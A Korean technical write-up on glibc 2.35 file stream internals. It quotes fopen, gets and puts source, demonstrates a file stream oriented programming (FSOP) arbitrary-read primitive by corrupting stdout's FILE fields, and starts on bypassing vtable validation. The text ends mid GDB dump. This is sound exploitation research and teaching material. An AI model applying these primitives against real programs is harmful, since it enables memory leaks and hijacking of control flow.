Table of Contents
- Introduction
- Glibc Implementation of Fopen and Gets
- Arbitrary Address Read Using Stdout
- File Stream Vtable Validation Bypass
- References
Introduction #
본 글에서는 Glibc 2.35 버전 [1]을 기준으로, file stream 구현을 알아보고, file stream oriented programming (FSOP)을 통한 임의 주소 읽기와 실행 흐름 조작이 어떻게 동작하는지 살펴보겠다.
Glibc Implementation of Fopen and Gets #
Glibc는 FILE 구조체를 opaque 타입으로 관리하여 그 구현을 외부로부터 숨기고, _IO_FILE 구조체와 typedef으로 연결한다 (각각 libio/bits/types/FILE.h, libio/bits/types/struct_FILE.h에서 발췌)[1].
/* The opaque type of streams. This is the definition used elsewhere. */
typedef struct _IO_FILE FILE;
/* The tag name of this struct is _IO_FILE to preserve historic
C++ mangled names for functions taking FILE* arguments.
That name should not be used in new code. */
struct _IO_FILE
{
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
/* The following pointers correspond to the C++ streambuf protocol. */
char *_IO_read_ptr; /* Current read pointer */
char *_IO_read_end; /* End of get area. */
char *_IO_read_base; /* Start of putback+get area. */
char *_IO_write_base; /* Start of put area. */
char *_IO_write_ptr; /* Current put pointer. */
char *_IO_write_end; /* End of put area. */
char *_IO_buf_base; /* Start of reserve area. */
char *_IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */
struct _IO_marker *_markers;
struct _IO_FILE *_chain;
int _fileno;
int _flags2;
__off_t _old_offset; /* This used to be _offset but it's too small. */
/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];
_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};
struct _IO_FILE_complete
{
struct _IO_FILE _file;
#endif
__off64_t _offset;
/* Wide character stream stuff. */
struct _IO_codecvt *_codecvt;
struct _IO_wide_data *_wide_data;
struct _IO_FILE *_freeres_list;
void *_freeres_buf;
size_t __pad5;
int _mode;
/* Make sure we don't get into trouble again. */
char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)];
};
이때 Glibc는 위 구조체를 확장한 _IO_FILE_plus를 사용하여 파일 연산을 처리한다 (libio/libioP.h에서 발췌)[1].
#define JUMP_FIELD(TYPE, NAME) TYPE NAME
/* ... */
struct _IO_jump_t
{
JUMP_FIELD(size_t, __dummy);
JUMP_FIELD(size_t, __dummy2);
JUMP_FIELD(_IO_finish_t, __finish);
JUMP_FIELD(_IO_overflow_t, __overflow);
JUMP_FIELD(_IO_underflow_t, __underflow);
JUMP_FIELD(_IO_underflow_t, __uflow);
JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
/* showmany */
JUMP_FIELD(_IO_xsputn_t, __xsputn);
JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
JUMP_FIELD(_IO_seekoff_t, __seekoff);
JUMP_FIELD(_IO_seekpos_t, __seekpos);
JUMP_FIELD(_IO_setbuf_t, __setbuf);
JUMP_FIELD(_IO_sync_t, __sync);
JUMP_FIELD(_IO_doallocate_t, __doallocate);
JUMP_FIELD(_IO_read_t, __read);
JUMP_FIELD(_IO_write_t, __write);
JUMP_FIELD(_IO_seek_t, __seek);
JUMP_FIELD(_IO_close_t, __close);
JUMP_FIELD(_IO_stat_t, __stat);
JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
JUMP_FIELD(_IO_imbue_t, __imbue);
};
/* We always allocate an extra word following an _IO_FILE.
This contains a pointer to the function jump table used.
This is for compatibility with C++ streambuf; the word can
be used to smash to a pointer to a virtual function table. */
struct _IO_FILE_plus
{
FILE file;
const struct _IO_jump_t *vtable;
};
Fopen function #
그럼 fopen 함수 구현을 통해 Glibc가 위 구조체로 어떻게 파일을 여는지 알아보자. 먼저 fopen()은 아래와 같은 콜 트레이스를 거친다.
fopen() /* macro function */
_IO_new_fopen()
_fopen_internal()
|
|
+--------------+-----------------------------+-----------------+
|1 |2 |3 |
V V V |
_IO_no_init() _IO_new_file_init_internal() _IO_file_fopen() |
|
+-----------------+
|4
V
_fopen_maybe_mmap()
이때 실질적인 시작점은 _fopen_internal 함수이고, 그 코드는 다음과 같다 (libio/iofopen.c에서 발췌)[1].
FILE *
__fopen_internal (const char *filename, const char *mode, int is32)
{
struct locked_FILE
{
struct _IO_FILE_plus fp;
#ifdef _IO_MTSAFE_IO
_IO_lock_t lock;
#endif
struct _IO_wide_data wd;
} *new_f = (struct locked_FILE *) malloc (sizeof (struct locked_FILE));
if (new_f == NULL)
return NULL;
#ifdef _IO_MTSAFE_IO
new_f->fp.file._lock = &new_f->lock;
#endif
_IO_no_init (&new_f->fp.file, 0, 0, &new_f->wd, &_IO_wfile_jumps);
_IO_JUMPS (&new_f->fp) = &_IO_file_jumps; /* #define _IO_JUMPS(THIS) (THIS)->vtable */
_IO_new_file_init_internal (&new_f->fp);
if (_IO_file_fopen ((FILE *) new_f, filename, mode, is32) != NULL)
return __fopen_maybe_mmap (&new_f->fp.file);
_IO_un_link (&new_f->fp);
free (new_f);
return NULL;
}
위 코드에서 _IO_no_init()은 파일의 플래그와 버퍼를 초기화한다 (libio/genops.c에서 발췌)[2].
void
_IO_old_init (FILE *fp, int flags)
{
fp->_flags = _IO_MAGIC|flags;
fp->_flags2 = 0;
if (stdio_needs_locking)
fp->_flags2 |= _IO_FLAGS2_NEED_LOCK;
fp->_IO_buf_base = NULL;
fp->_IO_buf_end = NULL;
fp->_IO_read_base = NULL;
fp->_IO_read_ptr = NULL;
fp->_IO_read_end = NULL;
fp->_IO_write_base = NULL;
fp->_IO_write_ptr = NULL;
fp->_IO_write_end = NULL;
fp->_chain = NULL; /* Not necessary. */
fp->_IO_save_base = NULL;
fp->_IO_backup_base = NULL;
fp->_IO_save_end = NULL;
fp->_markers = NULL;
fp->_cur_column = 0;
#if _IO_JUMPS_OFFSET
fp->_vtable_offset = 0;
#endif
#ifdef _IO_MTSAFE_IO
if (fp->_lock != NULL)
_IO_lock_init (*fp->_lock);
#endif
}
void
_IO_no_init (FILE *fp, int flags, int orientation,
struct _IO_wide_data *wd, const struct _IO_jump_t *jmp)
{
_IO_old_init (fp, flags);
fp->_mode = orientation;
if (orientation >= 0)
{
fp->_wide_data = wd;
fp->_wide_data->_IO_buf_base = NULL;
fp->_wide_data->_IO_buf_end = NULL;
fp->_wide_data->_IO_read_base = NULL;
fp->_wide_data->_IO_read_ptr = NULL;
fp->_wide_data->_IO_read_end = NULL;
fp->_wide_data->_IO_write_base = NULL;
fp->_wide_data->_IO_write_ptr = NULL;
fp->_wide_data->_IO_write_end = NULL;
fp->_wide_data->_IO_save_base = NULL;
fp->_wide_data->_IO_backup_base = NULL;
fp->_wide_data->_IO_save_end = NULL;
fp->_wide_data->_wide_vtable = jmp;
}
else
/* Cause predictable crash when a wide function is called on a byte
stream. */
fp->_wide_data = (struct _IO_wide_data *) -1L;
fp->_freeres_list = NULL;
}
그리고 _IO_new_file_init_internal()은 파일을 파일 체인에 추가한다 (libio/fileops.c에서 발췌)[1].
void
_IO_new_file_init_internal (struct _IO_FILE_plus *fp)
{
/* POSIX.1 allows another file handle to be used to change the position
of our file descriptor. Hence we actually don't know the actual
position before we do the first fseek (and until a following fflush). */
fp->file._offset = _IO_pos_BAD;
fp->file._flags |= CLOSED_FILEBUF_FLAGS;
_IO_link_in (fp);
fp->file._fileno = -1;
}
이제 _IO_file_fopen()에 연결된 _IO_new_file_fopen()이 사용자가 요청한 모드를 해석한다. 그리고 _IO_file_open()이 open 시스템 콜을 호출하여 파일을 연다. 리눅스는 open 시스템 콜이 파일 기술자 (file descriptor)를 반환하며, Glibc는 파일 구조체에 _fileno 멤버 변수를 두어 이를 저장한다 (libio/fileops.c에서 발췌)[2].
FILE *
_IO_file_open (FILE *fp, const char *filename, int posix_mode, int prot,
int read_write, int is32not64)
{
int fdesc;
if (__glibc_unlikely (fp->_flags2 & _IO_FLAGS2_NOTCANCEL))
fdesc = __open_nocancel (filename,
posix_mode | (is32not64 ? 0 : O_LARGEFILE), prot);
else
fdesc = __open (filename, posix_mode | (is32not64 ? 0 : O_LARGEFILE), prot);
if (fdesc < 0)
return NULL;
fp->_fileno = fdesc;
_IO_mask_flags (fp, read_write,_IO_NO_READS+_IO_NO_WRITES+_IO_IS_APPENDING);
/* For append mode, send the file offset to the end of the file. Don't
update the offset cache though, since the file handle is not active. */
if ((read_write & (_IO_IS_APPENDING | _IO_NO_READS))
== (_IO_IS_APPENDING | _IO_NO_READS))
{
off64_t new_pos = _IO_SYSSEEK (fp, 0, _IO_seek_end);
if (new_pos == _IO_pos_BAD && errno != ESPIPE)
{
__close_nocancel (fdesc);
return NULL;
}
}
_IO_link_in ((struct _IO_FILE_plus *) fp);
return fp;
}
libc_hidden_def (_IO_file_open)
FILE *
_IO_new_file_fopen (FILE *fp, const char *filename, const char *mode,
int is32not64)
{
int oflags = 0, omode;
int read_write;
int oprot = 0666;
int i;
FILE *result;
const char *cs;
const char *last_recognized;
if (_IO_file_is_open (fp))
return 0;
switch (*mode)
{
case 'r':
omode = O_RDONLY;
read_write = _IO_NO_WRITES;
break;
case 'w':
omode = O_WRONLY;
oflags = O_CREAT|O_TRUNC;
read_write = _IO_NO_READS;
break;
case 'a':
omode = O_WRONLY;
oflags = O_CREAT|O_APPEND;
read_write = _IO_NO_READS|_IO_IS_APPENDING;
break;
default:
__set_errno (EINVAL);
return NULL;
}
last_recognized = mode;
for (i = 1; i < 7; ++i)
{
switch (*++mode)
{
case '\0':
break;
case '+':
omode = O_RDWR;
read_write &= _IO_IS_APPENDING;
last_recognized = mode;
continue;
case 'x':
oflags |= O_EXCL;
last_recognized = mode;
continue;
case 'b':
last_recognized = mode;
continue;
case 'm':
fp->_flags2 |= _IO_FLAGS2_MMAP;
continue;
case 'c':
fp->_flags2 |= _IO_FLAGS2_NOTCANCEL;
continue;
case 'e':
oflags |= O_CLOEXEC;
fp->_flags2 |= _IO_FLAGS2_CLOEXEC;
continue;
default:
/* Ignore. */
continue;
}
break;
}
result = _IO_file_open (fp, filename, omode|oflags, oprot, read_write,
is32not64);
if (result != NULL)
{
/* ... */
}
return result;
}
여기까지 파일 버퍼와 파일 기술자를 초기화하는 과정을 다루었다. 이때 vtable 멤버는 &_IO_file_jumps로 초기화하며, 다음과 같이 정의한다 (libio/fileops.c에서 발췌)[1].
/* #define libio_vtable __attribute__ ((section ("__libc_IO_vtables")))
*/
const struct _IO_jump_t _IO_file_jumps libio_vtable =
{
/* #define JUMP_INIT_DUMMY JUMP_INIT(dummy, 0), JUMP_INIT (dummy2, 0) */
/* #define JUMP_INIT(NAME, VALUE) VALUE */
JUMP_INIT_DUMMY,
JUMP_INIT(finish, _IO_file_finish),
JUMP_INIT(overflow, _IO_file_overflow),
JUMP_INIT(underflow, _IO_file_underflow),
JUMP_INIT(uflow, _IO_default_uflow),
JUMP_INIT(pbackfail, _IO_default_pbackfail),
JUMP_INIT(xsputn, _IO_file_xsputn),
JUMP_INIT(xsgetn, _IO_file_xsgetn),
JUMP_INIT(seekoff, _IO_new_file_seekoff),
JUMP_INIT(seekpos, _IO_default_seekpos),
JUMP_INIT(setbuf, _IO_new_file_setbuf),
JUMP_INIT(sync, _IO_new_file_sync),
JUMP_INIT(doallocate, _IO_file_doallocate),
JUMP_INIT(read, _IO_file_read),
JUMP_INIT(write, _IO_new_file_write),
JUMP_INIT(seek, _IO_file_seek),
JUMP_INIT(close, _IO_file_close),
JUMP_INIT(stat, _IO_file_stat),
JUMP_INIT(showmanyc, _IO_default_showmanyc),
JUMP_INIT(imbue, _IO_default_imbue)
};
그럼 파일 플래그와 버퍼, 열린 파일, 그리고 vtable까지 적절히 초기화하였으므로 mmap 여부를 확인하고 FILE 포인터를 반환한다 (libio/iofopen.c에서 발췌)[1].
FILE *
__fopen_maybe_mmap (FILE *fp)
{
#if _G_HAVE_MMAP
if ((fp->_flags2 & _IO_FLAGS2_MMAP) && (fp->_flags & _IO_NO_WRITES))
{
/* Since this is read-only, we might be able to mmap the contents
directly. We delay the decision until the first read attempt by
giving it a jump table containing functions that choose mmap or
vanilla file operations and reset the jump table accordingly. */
if (fp->_mode <= 0)
_IO_JUMPS_FILE_plus (fp) = &_IO_file_jumps_maybe_mmap;
else
_IO_JUMPS_FILE_plus (fp) = &_IO_wfile_jumps_maybe_mmap;
fp->_wide_data->_wide_vtable = &_IO_wfile_jumps_maybe_mmap;
}
#endif
return fp;
}
Gets function #
Glibc gets 함수는 stdin에서 사용자 입력을 읽는다. 그리고 이 작업을 아래 콜 트레이스를 거쳐 진행한다.
gets()
__gets_chk()
_IO_getline()
_IO_getline_info()
__uflow()
_IO_UFLOW() /* macro function */
_IO_default_uflow()
_IO_UNDERFLOW() /* macro function */
_IO_file_underflow()
_IO_new_file_underflow()
|
|
+---------------------------------+
|1 |
|if (fp->_IO_buf_base == NULL) |
V V
_IO_doallocbuf() _IO_SYSREAD()
위 콜 트레이스에서 실질적인 작업은 _IO_getline_info()부터 시작된다. 비록 이 함수의 파라미터 중에 size가 있지만, 이 파라미터는 fortification 기능을 활성화하지 않는다면 신경쓰지 않아도 된다. 그리고 이 기능은 기본값으로 비활성화되어 있다. 다시 _IO_getline_info()로 돌아가서, 이 함수는 구분자에 도달할 때까지 파일 버퍼로부터 데이터를 읽어들여서 사용자 버퍼에 넣는다. 만약 (파일 버퍼의 끝에 도달 등의 이유로) 읽을 데이터가 없다면, __uflow()를 호출한다. 그 코드는 다음과 같다 (libio/iogetline.c에서 발췌)[1].
/* Algorithm based on that used by Berkeley pre-4.4 fgets implementation.
Read chars into buf (of size n), until delim is seen.
Return number of chars read (at most n).
Does not put a terminating '\0' in buf.
If extract_delim < 0, leave delimiter unread.
If extract_delim > 0, insert delim in output. */
size_t
_IO_getline_info (FILE *fp, char *buf, size_t n, int delim,
int extract_delim, int *eof)
{
char *ptr = buf;
if (eof != NULL)
*eof = 0;
if (__builtin_expect (fp->_mode, -1) == 0)
_IO_fwide (fp, -1);
while (n != 0)
{
ssize_t len = fp->_IO_read_end - fp->_IO_read_ptr;
if (len <= 0)
{
int c = __uflow (fp);
if (c == EOF)
{
if (eof)
*eof = c;
break;
}
if (c == delim)
{
if (extract_delim > 0)
*ptr++ = c;
else if (extract_delim < 0)
_IO_sputbackc (fp, c);
if (extract_delim > 0)
++len;
return ptr - buf;
}
*ptr++ = c;
n--;
}
else
{
char *t;
if ((size_t) len >= n)
len = n;
t = (char *) memchr ((void *) fp->_IO_read_ptr, delim, len);
if (t != NULL)
{
size_t old_len = ptr-buf;
len = t - fp->_IO_read_ptr;
if (extract_delim >= 0)
{
++t;
if (extract_delim > 0)
++len;
}
memcpy ((void *) ptr, (void *) fp->_IO_read_ptr, len);
fp->_IO_read_ptr = t;
return old_len + len;
}
memcpy ((void *) ptr, (void *) fp->_IO_read_ptr, len);
fp->_IO_read_ptr += len;
ptr += len;
n -= len;
}
}
return ptr - buf;
}
그 다음 작업은 _IO_newfile_underflow()에서 이루어진다. 이 함수는 파일 버퍼가 없는 경우에는 _IO_doallocbuf()를 호출해서 할당받고, 이미 있는 경우에는 파일 버퍼에서 읽어들일 위치를 다시 시작점으로 돌린다. 그리고 _IO_SYS_READ()를 호출하여 파일 버퍼를 채운다. 그 코드는 다음과 같다 (libio/fileops.c에서 발췌)[1].
int
_IO_new_file_underflow (FILE *fp)
{
ssize_t count;
/* C99 requires EOF to be "sticky". */
if (fp->_flags & _IO_EOF_SEEN)
return EOF;
if (fp->_flags & _IO_NO_READS)
{
fp->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return EOF;
}
if (fp->_IO_read_ptr < fp->_IO_read_end)
return *(unsigned char *) fp->_IO_read_ptr;
if (fp->_IO_buf_base == NULL)
{
/* Maybe we already have a push back pointer. */
if (fp->_IO_save_base != NULL)
{
free (fp->_IO_save_base);
fp->_flags &= ~_IO_IN_BACKUP;
}
_IO_doallocbuf (fp);
}
/* FIXME This can/should be moved to genops ?? */
if (fp->_flags & (_IO_LINE_BUF|_IO_UNBUFFERED))
{
/* We used to flush all line-buffered stream. This really isn't
required by any standard. My recollection is that
traditional Unix systems did this for stdout. stderr better
not be line buffered. So we do just that here
explicitly. --drepper */
_IO_acquire_lock (stdout);
if ((stdout->_flags & (_IO_LINKED | _IO_NO_WRITES | _IO_LINE_BUF))
== (_IO_LINKED | _IO_LINE_BUF))
_IO_OVERFLOW (stdout, EOF);
_IO_release_lock (stdout);
}
_IO_switch_to_get_mode (fp);
/* This is very tricky. We have to adjust those
pointers before we call _IO_SYSREAD () since
we may longjump () out while waiting for
input. Those pointers may be screwed up. H.J. */
fp->_IO_read_base = fp->_IO_read_ptr = fp->_IO_buf_base;
fp->_IO_read_end = fp->_IO_buf_base;
fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_write_end
= fp->_IO_buf_base;
count = _IO_SYSREAD (fp, fp->_IO_buf_base,
fp->_IO_buf_end - fp->_IO_buf_base);
if (count <= 0)
{
if (count == 0)
fp->_flags |= _IO_EOF_SEEN;
else
fp->_flags |= _IO_ERR_SEEN, count = 0;
}
fp->_IO_read_end += count;
if (count == 0)
{
/* If a stream is read to EOF, the calling application may switch active
handles. As a result, our offset cache would no longer be valid, so
unset it. */
fp->_offset = _IO_pos_BAD;
return EOF;
}
if (fp->_offset != _IO_pos_BAD)
_IO_pos_adjust (fp->_offset, count);
return *(unsigned char *) fp->_IO_read_ptr;
}
Arbitrary Address Read Using Stdout #
Puts 함수가 write 시스템 콜을 쓸 때는 다음과 같은 콜 트레이스를 거친다.
puts()
_IO_puts()
_IO_sputn() /* macro function */
_IO_file_xsputn()
_IO_new_file_xsputn()
_IO_OVERFLOW() /* macro function */
_IO_file_overflow()
_IO_new_file_overflow()
_IO_do_write()
_IO_new_do_write()
new_do_write()
_IO_SYSWRITE() /* macro function */
_IO_new_file_write()
__write()
위 콜 트레이스를 따라가려면 FILE 구조체의 멤버들이 특정 조건식을 만족해야 한다. 이때 관심을 가져야 하는 함수는 _IO_new_file_xsputn() ({1, 2}), _IO_new_file_overflow() ({3}), new_do_write() ({4})이다. 이들의 구현은 다음과 같다 (libio/fileops.c에서 발췌)[1].
size_t
_IO_new_file_xsputn (FILE *f, const void *data, size_t n)
{
const char *s = (const char *) data;
size_t to_do = n;
int must_flush = 0;
size_t count = 0;
if (n <= 0)
return 0;
/* This is an optimized implementation.
If the amount to be written straddles a block boundary
(or the filebuf is unbuffered), use sys_write directly. */
/* First figure out how much space is available in the buffer. */
if ((f->_flags & _IO_LINE_BUF) && (f->_flags & _IO_CURRENTLY_PUTTING)) /* {1} */
{
count = f->_IO_buf_end - f->_IO_write_ptr;
if (count >= n)
{
const char *p;
for (p = s + n; p > s; )
{
if (*--p == '\n')
{
count = p - s + 1;
must_flush = 1;
break;
}
}
}
}
else if (f->_IO_write_end > f->_IO_write_ptr) /* {2} */
count = f->_IO_write_end - f->_IO_write_ptr; /* Space available. */
/* Then fill the buffer. */
if (count > 0)
{
if (count > to_do)
count = to_do;
f->_IO_write_ptr = __mempcpy (f->_IO_write_ptr, s, count);
s += count;
to_do -= count;
}
if (to_do + must_flush > 0)
{
size_t block_size, do_write;
/* Next flush the (full) buffer. */
if (_IO_OVERFLOW (f, EOF) == EOF)
/* If nothing else has to be written we must not signal the
caller that everything has been written. */
return to_do == 0 ? EOF : n - to_do;
/* Try to maintain alignment: write a whole number of blocks. */
block_size = f->_IO_buf_end - f->_IO_buf_base;
do_write = to_do - (block_size >= 128 ? to_do % block_size : 0);
if (do_write)
{
count = new_do_write (f, s, do_write);
to_do -= count;
if (count < do_write)
return n - to_do;
}
/* Now write out the remainder. Normally, this will fit in the
buffer, but it's somewhat messier for line-buffered files,
so we let _IO_default_xsputn handle the general case. */
if (to_do)
to_do -= _IO_default_xsputn (f, s+do_write, to_do);
}
return n - to_do;
}
int
_IO_new_file_overflow (FILE *f, int ch)
{
if (f->_flags & _IO_NO_WRITES) /* SET ERROR */
{
f->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return EOF;
}
/* If currently reading or no buffer allocated. */
if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL) /* {3} */
{
/* Allocate a buffer if needed. */
if (f->_IO_write_base == NULL)
{
_IO_doallocbuf (f);
_IO_setg (f, f->_IO_buf_base, f->_IO_buf_base, f->_IO_buf_base);
}
/* Otherwise must be currently reading.
If _IO_read_ptr (and hence also _IO_read_end) is at the buffer end,
logically slide the buffer forwards one block (by setting the
read pointers to all point at the beginning of the block). This
makes room for subsequent output.
Otherwise, set the read pointers to _IO_read_end (leaving that
alone, so it can continue to correspond to the external position). */
if (__glibc_unlikely (_IO_in_backup (f)))
{
size_t nbackup = f->_IO_read_end - f->_IO_read_ptr;
_IO_free_backup_area (f);
f->_IO_read_base -= MIN (nbackup,
f->_IO_read_base - f->_IO_buf_base);
f->_IO_read_ptr = f->_IO_read_base;
}
if (f->_IO_read_ptr == f->_IO_buf_end)
f->_IO_read_end = f->_IO_read_ptr = f->_IO_buf_base;
f->_IO_write_ptr = f->_IO_read_ptr;
f->_IO_write_base = f->_IO_write_ptr;
f->_IO_write_end = f->_IO_buf_end;
f->_IO_read_base = f->_IO_read_ptr = f->_IO_read_end;
f->_flags |= _IO_CURRENTLY_PUTTING;
if (f->_mode <= 0 && f->_flags & (_IO_LINE_BUF | _IO_UNBUFFERED))
f->_IO_write_end = f->_IO_write_ptr;
}
if (ch == EOF)
return _IO_do_write (f, f->_IO_write_base,
f->_IO_write_ptr - f->_IO_write_base);
if (f->_IO_write_ptr == f->_IO_buf_end ) /* Buffer is really full */
if (_IO_do_flush (f) == EOF)
return EOF;
*f->_IO_write_ptr++ = ch;
if ((f->_flags & _IO_UNBUFFERED)
|| ((f->_flags & _IO_LINE_BUF) && ch == '\n'))
if (_IO_do_write (f, f->_IO_write_base,
f->_IO_write_ptr - f->_IO_write_base) == EOF)
return EOF;
return (unsigned char) ch;
}
static size_t
new_do_write (FILE *fp, const char *data, size_t to_do)
{
size_t count;
if (fp->_flags & _IO_IS_APPENDING)
/* On a system without a proper O_APPEND implementation,
you would need to sys_seek(0, SEEK_END) here, but is
not needed nor desirable for Unix- or Posix-like systems.
Instead, just indicate that offset (before and after) is
unpredictable. */
fp->_offset = _IO_pos_BAD;
else if (fp->_IO_read_end != fp->_IO_write_base) /* {4} */
{
off64_t new_pos
= _IO_SYSSEEK (fp, fp->_IO_write_base - fp->_IO_read_end, 1);
if (new_pos == _IO_pos_BAD)
return 0;
fp->_offset = new_pos;
}
count = _IO_SYSWRITE (fp, data, to_do);
if (fp->_cur_column && count)
fp->_cur_column = _IO_adjust_column (fp->_cur_column - 1, data, count) + 1;
_IO_setg (fp, fp->_IO_buf_base, fp->_IO_buf_base, fp->_IO_buf_base);
fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_buf_base;
fp->_IO_write_end = (fp->_mode <= 0
&& (fp->_flags & (_IO_LINE_BUF | _IO_UNBUFFERED))
? fp->_IO_buf_base : fp->_IO_buf_end);
return count;
}
이 조건식들을 거쳐 write 시스템 콜이 호출되도록 하면 다음과 같이 임의 주소 읽기가 가능하도록 만들 수 있다.
#include <stdio.h>
enum fp_flags {
_IO_UNBUFFERED = 0x0002,
_IO_NO_WRITES = 0x0008,
_IO_LINE_BUF = 0x0200,
_IO_CURRENTLY_PUTTING = 0x0800,
};
void fsop_aar(void *p, size_t size)
{
FILE *fp;
char *buf = "Hello, world!!";
fp = stdout;
fp->_flags &= ~_IO_LINE_BUF; /* _IO_new_file_xsputn: 1210 */
/*
* _IO_new_file_xsputn: 1210,
* _IO_new_file_overflow: 739
*/
fp->_flags |= _IO_CURRENTLY_PUTTING;
fp->_flags &= ~_IO_NO_WRITES;
/* fp->_flags = 0xfbad0800; */
fp->_IO_read_ptr = NULL;
/* new_do_write: 440 */
fp->_IO_write_base = p;
fp->_IO_read_end = fp->_IO_write_base;
fp->_IO_read_base = NULL;
/* _IO_new_file_xsputn: 1227 */
fp->_IO_write_ptr = (uint8_t *) fp->_IO_write_base + size;
fp->_IO_write_end = fp->_IO_buf_base = fp->_IO_buf_end = NULL;
fp->_IO_save_base = NULL;
puts(buf);
}
int main()
{
fsop_aar(stdout, 0x84);
return 0;
}
위 코드를 컴파일하고 실행하면 다음을 얻는다.
$ stdbuf -oL ./fsop | xxd
00000000: 8428 adfb 0000 0000 0000 0000 0000 0000 .(..............
00000010: 80b7 0187 fc73 0000 0000 0000 0000 0000 .....s..........
00000020: 80b7 0187 fc73 0000 04b8 0187 fc73 0000 .....s.......s..
00000030: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000040: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000050: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000060: 0000 0000 0000 0000 a0aa 0187 fc73 0000 .............s..
00000070: 0100 0000 0000 0000 ffff ffff ffff ffff ................
00000080: 0000 0000 4865 6c6c 6f2c 2077 6f72 6c64 ....Hello, world
00000090: 2121 0a !!.
$
File Stream Vtable Validation Bypass #
상기에 puts 함수는 다음과 같은 콜 트레이스를 거쳤다.
puts()
_IO_puts()
_IO_sputn() /* macro function */
_IO_file_xsputn()
_IO_new_file_xsputn()
_IO_OVERFLOW() /* macro function */
_IO_file_overflow()
_IO_new_file_overflow()
_IO_do_write()
_IO_new_do_write()
new_do_write()
_IO_SYSWRITE() /* macro function */
_IO_new_file_write()
__write()
그리고 _IO_new_file_xsputn()을 호출할 때는 vtable 멤버를 참조하여 호출한다. 이때, 만약 vtable 멤버를 덮어쓸 수 있다면, 실행 흐름을 바꿔버릴 수 있을 것이다. 하지만 glibc는 다음과 같은 콜 트레이스를 거쳐서 IO_validate_vtable()을 호출한다.
_IO_sputn() /* macro function */
_IO_XSPUTN() /* macro function */
JUMP2() /* macro function */
_IO_JUMPS_FUNC() /* macro function */
IO_validate_vtable()
이 함수는 파라미터로 전달된 함수 주소가 vtable 범위 내에 있는지 검사학고 이 범위를 벗어났다면, 오류를 발생시킨다. 그래서 공격자는 반드시 범위 내의 함수만을 사용해야 한다. 이때 이 범위에는 _IO_file_jumps, _IO_wfile_jumps, _IO_str_jumps 등으로 접근할 수 있는 함수들이 포함된다. 이 구조체 변수들은 GDB로 확인해보면 다음과 같이 고정된 오프셋일 갖는다. 따라서 vtable 멤버의 값을 얻을 수 있다면, 오프셋을 계산해서 특정 함수를 호출할 수 있다.
pwndbg> x/32gx __start___libc_IO_vtables
0x7ffff7e16a00 <_IO_helper_jumps>: 0x0000000000000000 0x0000000000000000
0x7ffff7e16a10 <_IO_helper_jumps+16>: 0x00007ffff7c8e730 0x00007ffff7c72260
0x7ffff7e16a20 <_IO_helper_jumps+32>: 0x00007ffff7c8dd50 0x00007ffff7c8dd60
0x7ffff7e16a30 <_IO_helper_jumps+48>: 0x00007ffff7c8f280 0x00007ffff7c8ddc0
0x7ffff7e16a40 <_IO_helper_jumps+64>: 0x00007ffff7c8e040 0x00007ffff7c8e7a0
0x7ffff7e16a50 <_IO_helper_jumps+80>: 0x00007ffff7c8e4b0 0x00007ffff7c8e3b0
0x7ffff7e16a60 <_IO_helper_jumps+96>: 0x00007ffff7c8e720 0x00007ffff7c8e520
0x7ffff7e16a70 <_IO_helper_jumps+112>: 0x00007ffff7c8f400 0x00007ffff7c8f410
0x7ffff7e16a80 <_IO_helper_jumps+128>: 0x00007ffff7c8f3e0 0x00007ffff7c8e720
0x7ffff7e16a90 <_IO_helper_jumps+144>: 0x00007ffff7c8f3f0 0x0000000000000000
0x7ffff7e16aa0 <_IO_helper_jumps+160>: 0x0000000000000000 0x0000000000000000
0x7ffff7e16ab0: 0x0000000000000000 0x0000000000000000
0x7ffff7e16ac0 <_IO_helper_jumps>: 0x0000000000000000 0x0000000000000000
0x7ffff7e16ad0 <_IO_helper_jumps+16>: 0x00007ffff7c837c0 0x00007ffff7c777e0
0x7ffff7e16ae0 <_IO_helper_jumps+32>: 0x00007ffff7c8dd50 0x00007ffff7c8dd60
0x7ffff7e16af0 <_IO_helper_jumps+48>: 0x00007ffff7c83600 0x00007ffff7c83930
pwndbg>
0x7ffff7e16b00 <_IO_helper_jumps+64>: 0x00007ffff7c84030 0x00007ffff7c8e7a0
0x7ffff7e16b10 <_IO_helper_jumps+80>: 0x00007ffff7c8e4b0 0x00007ffff7c8e3b0
0x7ffff7e16b20 <_IO_helper_jumps+96>: 0x00007ffff7c8e720 0x00007ffff7c83c20
0x7ffff7e16b30 <_IO_helper_jumps+112>: 0x00007ffff7c8f400 0x00007ffff7c8f410
0x7ffff7e16b40 <_IO_helper_jumps+128>: 0x00007ffff7c8f3e0 0x00007ffff7c8e720
0x7ffff7e16b50 <_IO_helper_jumps+144>: 0x00007ffff7c8f3f0 0x0000000000000000
0x7ffff7e16b60 <_IO_helper_jumps+160>: 0x0000000000000000 0x0000000000000000
0x7ffff7e16b70: 0x0000000000000000 0x0000000000000000
0x7ffff7e16b80 <_IO_cookie_jumps>: 0x0000000000000000 0x0000000000000000
0x7ffff7e16b90 <_IO_cookie_jumps+16>: 0x00007ffff7c8bff0 0x00007ffff7c8cdc0
0x7ffff7e16ba0 <_IO_cookie_jumps+32>: 0x00007ffff7c8cab0 0x00007ffff7c8dd60
0x7ffff7e16bb0 <_IO_cookie_jumps+48>: 0x00007ffff7c8f280 0x00007ffff7c8b600
0x7ffff7e16bc0 <_IO_cookie_jumps+64>: 0x00007ffff7c8e040 0x00007ffff7c7f850
0x7ffff7e16bd0 <_IO_cookie_jumps+80>: 0x00007ffff7c8e4b0 0x00007ffff7c8a5a0
